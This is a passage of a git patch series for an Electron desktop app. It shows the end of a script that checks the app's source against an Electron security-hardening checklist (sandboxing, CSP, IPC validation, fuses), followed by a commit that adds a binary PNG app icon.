Context isolation', () => nowhere(/contextIsolation\s*:\s*false/) ?? missing(mainIndex, /contextIsolation:\s*true/, 'contextIsolation: true')], + ['4. Process sandboxing', () => nowhere(/sandbox\s*:\s*false|--no-sandbox|enableSandbox/) ?? missing(mainIndex, /sandbox:\s*true/, 'sandbox: true')], + ['5. Permission requests handled', () => missing(mainIndex, /setPermissionRequestHandler\(/, 'setPermissionRequestHandler')], + ['6. webSecurity not disabled', () => nowhere(/webSecurity\s*:\s*false|disable-web-security/)], + [ + '7. Content Security Policy', + () => + !csp + ? 'no CSP meta tag' + : /unsafe-eval|script-src[^;]*(unsafe-inline|\*)/.test(csp) + ? `weak CSP: ${csp}` + : missing(csp, /default-src 'self'/, `default-src 'self'`) + ], + ['8. No allowRunningInsecureContent', () => nowhere(/allowRunningInsecureContent\s*:\s*true/)], + ['9. No experimental features', () => nowhere(/experimentalFeatures\s*:\s*true/)], + ['10. No enableBlinkFeatures', () => nowhere(/enableBlinkFeatures/)], + ['11. No allowpopups (no webviews)', () => nowhere(/allowpopups| nowhere(/webviewTag\s*:\s*true/)], + ['13. Navigation limited', () => missing(mainIndex, /on\('will-navigate'[^]*?preventDefault\(\)/, 'will-navigate handler that prevents navigation')], + ['14. New windows limited', () => missing(mainIndex, /setWindowOpenHandler\([^]*?action: 'deny'/, `setWindowOpenHandler returning action: 'deny'`)], + [ + '15. shell.openExternal only for http(s)', + () => { + const calls = appFiles.flatMap(file => (file.text.match(/shell\.openExternal\(/g) ?? []).map(() => file.path)); + if (calls.length !== 1 || calls[0] !== 'src/main/index.ts') + return `shell.openExternal called from: ${calls.join(', ')} (expected only openExternalIfSafe)`; + return missing(mainIndex, /function openExternalIfSafe[^]*?protocol === 'https:'[^]*?shell\.openExternal\(/, 'openExternalIfSafe guarding the call'); + } + ], + ['17. IPC senders validated', unguardedIpc], + [ + '19. Fuses', + () => + fuse('runAsNode', false) ?? + fuse('enableNodeOptionsEnvironmentVariable', false) ?? + fuse('enableNodeCliInspectArguments', false) ?? + fuse('enableCookieEncryption', true) ?? + fuse('onlyLoadAppFromAsar', true) ?? + fuse('enableEmbeddedAsarIntegrityValidation', true) + ], + [ + '20. Electron APIs not exposed', + () => + /exposeInMainWorld\([^)]*(ipcRenderer|require|process)/.test(preload) + ? 'the preload exposes ipcRenderer, require or process' + : (preload.match(/exposeInMainWorld\(/g) ?? []).length !== 1 + ? 'expected one exposeInMainWorld (window.api)' + : /callback\(\s*_?event\b/.test(preload) + ? 'a listener passes the IpcRendererEvent to the page' + : null + ] +]; + +let failed = 0; +for (const [name, check] of CHECKS) { + const problem = check(); + if (problem) failed += 1; + console.log(`${problem ? '✗' : '✓'} ${name}${problem ? ` — ${problem}` : ''}`); +} +if (failed) { + console.error(`\n${failed} security check(s) failed. See SECURITY-CHECKLIST.md.`); + process.exit(1); +} From ac5a471152f369127f8cd58ea69977e6846eabff Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Tue, 6 Oct 2026 15:31:03 +0300 Subject: [PATCH 081/141] Added APP icon Signed-off-by: Ihor Aleksandrychiev --- build/icon.png | Bin 0 -> 118803 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 build/icon.png diff --git a/build/icon.png b/build/icon.png new file mode 100644 index 0000000000000000000000000000000000000000..58c3f61e0452ab89e56647f814614db47be55eb4 GIT binary patch literal 118803 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 